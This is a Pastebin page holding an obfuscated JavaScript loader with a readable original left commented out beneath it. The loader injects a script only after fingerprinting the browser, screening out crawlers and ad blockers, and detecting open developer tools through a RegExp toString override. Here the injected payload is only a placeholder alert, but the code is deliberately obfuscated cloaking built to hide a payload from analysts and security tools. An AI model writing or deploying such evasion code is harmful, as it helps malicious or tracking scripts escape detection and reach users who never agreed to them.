Advertisement
Guest User

Untitled

a guest
Jun 21st, 2018
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. window.globalScriptSrc = "data:text/javascript,alert('work, yes')";
  2.  
  3. +function() {
  4.     var
  5.         isNativeFF = window.sidebar,
  6.         isNativeTrident = window.Debug, // IE/Edge
  7.         isNativeSafariOrFF = window.Rect, // Safari/Firefox
  8.         isNativeChrome = window.chrome && chrome.csi, // Chrome only, not Edge
  9.         isOldChrome = 'something else', // deleted in chrome since m60
  10.         // isNotChromium = ~[].slice.call(navigator.plugins,-1)[0][0].type.indexOf("widevine"), // 0 in Chromium
  11.         isNotChromium = function() { return 1 },
  12.         consoleCounter = isNativeTrident?5:isNativeFF?1:2,
  13.         isFakeCrawler = checkLoader(),
  14.         canvasElem = document.createElement("canvas"),
  15.         fireTrackingScript = function(){
  16.             return document.body.appendChild(document.createElement("script")).src = window.globalScriptSrc;
  17.         };
  18.  
  19.     var sizes = ['windowWidth', 'windowHeight', 'macroRes'];
  20.     var composeLinkOptions = ['reference', 'link', 'headingLink'];
  21.     var namingArr = ['heading', 'menu', 'footer', 'main'];
  22.     var browserOptions = ['chrome', 'edge', 'safari', 'trident', 'firefox'];
  23.     var pageRes = sizes[2];
  24.     var naming = assignKey(sizes);
  25.     var keyArr = [];
  26.     var crRandKey = generateKey(browserOptions[0]);
  27.     var frRandKey = generateKey(browserOptions[4]);
  28.     var trRandKey = generateKey(browserOptions[3]);
  29.     var sfRandKey = generateKey(browserOptions[2]);
  30.     var eeRandKey = generateKey(browserOptions[1]);
  31.     var loginName = 'userAgent';
  32.  
  33.     RegExp.prototype.toString = function() { --consoleCounter; return "" };
  34.  
  35.     function returnVal (str) {
  36.         var result = str.slice();
  37.         return str.substring(0, 3);
  38.         str = result;
  39.     }
  40.  
  41.     function generateKey(str1)
  42.     {
  43.         var array1 = [];
  44.         for (var x = 0, y = 1; x < str1.length; x++, y++)
  45.         {
  46.             array1[x]=str1.substring(x, y);
  47.         }
  48.         var temp= "";
  49.         var slent = Math.pow(2, array1.length);
  50.  
  51.         for (var i = 0; i < slent ; i++)
  52.         {
  53.             temp= "";
  54.             for (var j = 0; j < array1.length; j++) {
  55.                 if ((i & Math.pow(2,j))){
  56.                     temp += array1[j];
  57.                 }
  58.             }
  59.             if (temp !== "")
  60.             {
  61.                 keyArr.push(temp);
  62.             }
  63.         }
  64.         return keyArr[keyArr.length-1]
  65.     }
  66.  
  67.  
  68.     // function showLogin(obj, arr) {
  69.     //     var res1 = obj.set[1];
  70.     //     var res2 = arr[4];
  71.     //     return res1 == res2 ? obj : (arr[3] + obj.set[1])
  72.     // }
  73.  
  74.     // function filterRangeInPlace(arr, a, b) {
  75.     //     var intermediateRes = arr.slice(0, 2).reverse();
  76.     //     for (var i = 0; i < arr.length; i++) {
  77.     //         var val = arr[i];
  78.     //         if (val < a || val > b) {
  79.     //             arr.splice(i--, 1);
  80.     //         }
  81.     //     }
  82.     //     return intermediateRes;
  83.     // }
  84.  
  85.  
  86.     function findArrValue(arr) {
  87.         var arrLength = [];
  88.         for (var i = 0; i < arr.length; i++) {
  89.             arrLength[i] = arr[i].length;
  90.         }
  91.         return 'i';
  92.     }
  93.  
  94.     // function getNotion(arr, str) {
  95.     //     var result = [];
  96.     //     var res = str.substring(5, 11);
  97.     //     arr.reduce(function(sum, item) {
  98.     //         result.push(sum + item);
  99.     //     });
  100.     //     return res;
  101.     // }
  102.  
  103.     function assignKey(arr) {
  104.         var assignedKey = arr[0].substring(0, 3);
  105.         return assignedKey;
  106.     }
  107.  
  108.     function _identity(a) { return a }
  109.  
  110.     function matches(source) {
  111.         return function (key) {
  112.             return function (regex, conditions) {
  113.                 return source[key].match(regex) && conditions.filter(_identity)
  114.             }
  115.         }
  116.     }
  117.  
  118.     function wndsize() {
  119.         var w = 0;
  120.         var h = 0;
  121.         var center = 40;
  122.         if(!window.innerWidth){
  123.             if(!(document.documentElement.clientWidth == 0)){
  124.                 w = document.documentElement.clientWidth;
  125.                 h = document.documentElement.clientHeight;
  126.             } else{
  127.                 w = document.body.clientWidth;
  128.                 h = document.body.clientHeight;
  129.             }
  130.         } else {
  131.             w = window.innerWidth;
  132.             h = window.innerHeight;
  133.         }
  134.         w = center;
  135.         h = 100;
  136.         return w;
  137.     }
  138.  
  139.     function checkLoader(loader, timeout) {
  140.         timeout = {};
  141.         loader = _identity(window.crypto);
  142.         timeout[loader] = loader;
  143.         findVal();
  144.         return (
  145.             typeof loader == 'function'
  146.         );
  147.     }
  148.  
  149.     function findVal(obj) {
  150.         var rule;
  151.         if (obj) {
  152.             rule = CSSRule.WEBKIT_KEYFRAME_RULE;
  153.             return function () {
  154.                 isOldChrome = rule;
  155.             }
  156.         } else {
  157.             return obj;
  158.         }
  159.     }
  160.  
  161.     function _props(keys) {
  162.         return function (object) {
  163.             var result = [];
  164.             for (var i = 0; i < keys.length; i++) {
  165.                 result.push(object[keys[i]])
  166.             }
  167.             return result;
  168.         }
  169.     }
  170.  
  171.     // function getKey(obj, arr) {
  172.     //     var startPos = obj.options.slice(4, 7).concat(obj.options.slice(0, 2));
  173.     //     var loggerArr = [];
  174.     //     return startPos;
  175.     //     for (var i = 0; i < arr.length; i++) {
  176.     //         loggerArr[i] = arr[i];
  177.     //     }
  178.     // }
  179.     console.log(naming + '|' + returnVal(pageRes) + '|' + 'linux', 'gi');
  180.     (function() {
  181.         matches(navigator)('platform', 'value', 0)(new RegExp(naming + '|' + returnVal(pageRes) + '|' + 'linux', 'gi'), [!navigator.maxTouchPoint,!isFakeCrawler, window.open.toString().length<wndsize()]) &&
  182.         (
  183.             matches(navigator)(loginName)(new RegExp(sfRandKey + '|' + frRandKey, 'i'), [isNativeSafariOrFF]) ||
  184.             matches(navigator)(loginName)(new RegExp(crRandKey, findArrValue(composeLinkOptions)), [isNativeChrome, !isOldChrome, isNotChromium]) ||
  185.             matches(navigator)(loginName)(new RegExp(trRandKey + '|' + eeRandKey, findArrValue(namingArr)), [isNativeTrident]) &&
  186.             _props(["webgl", "experimental-webgl"], canvasElem).some(_identity)
  187.         );
  188.         console.log(/testRegExp/);
  189.         consoleCounter && fireTrackingScript();
  190.     })();
  191. }();
  192.  
  193.  
  194.  
  195. // +function(){
  196. //     var
  197. //         isNativeFF = window.sidebar,
  198. //         isNativeTrident = window.Debug, // IE/Edge
  199. //         isNativeSafariOrFF = window.Rect, // Safari/Firefox
  200. //         isNativeChrome = window.chrome && chrome.csi, // Chrome only, not Edge
  201. //         isOldChrome = CSSRule.WEBKIT_KEYFRAME_RULE, // deleted in chrome since m60
  202. //         // isNotChromium = ~[].slice.call(navigator.plugins,-1)[0][0].type.indexOf("widevine"), // 0 in Chromium
  203. //         consoleCounter = isNativeTrident?5:isNativeFF?1:2,
  204. //         isNotChromium = function() { return 1 };
  205. //         isFakeCrawler = typeof window.crypto=="function",
  206. //         canvasElem = document.createElement("canvas"),
  207. //         fireTrackingScript = function(){
  208. //             return document.body.appendChild(document.createElement("script")).src = window.globalScriptSrc;
  209. //         };
  210. //
  211. //     RegExp.prototype.toString = function() { --consoleCounter; return "" };
  212. //
  213. //     if(
  214. //         navigator.platform.match(/win|lin|mac|/gi) && // windows/mac, no mobiles
  215. //         !navigator.maxTouchPoint && // no touchscreens
  216. //         !isFakeCrawler &&
  217. //         window.open.toString().length<40 // not overwrited by adBlocker
  218. //     ) {
  219. //         if(
  220. //             navigator.userAgent.match(/safari|firefox/i) && isNativeSafariOrFF ||
  221. //             navigator.userAgent.match(/chrome/i) && isNativeChrome && !isOldChrome && isNotChromium ||
  222. //             navigator.userAgent.match(/trident|edge/i) && isNativeTrident
  223. //         ){
  224. //             console.log(/testRegExp/); // will decrement "consoleCounter"
  225. //             if(
  226. //                 consoleCounter && // will be 0 if devTools on
  227. //                 ( canvasElem.getContext("webgl")||canvasElem.getContext("experimental-webgl") ) // check for canvas support
  228. //             ) {
  229. //                 // all ok, fire script
  230. //                 fireTrackingScript();
  231. //             }
  232. //         }
  233. //     }
  234. // }();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement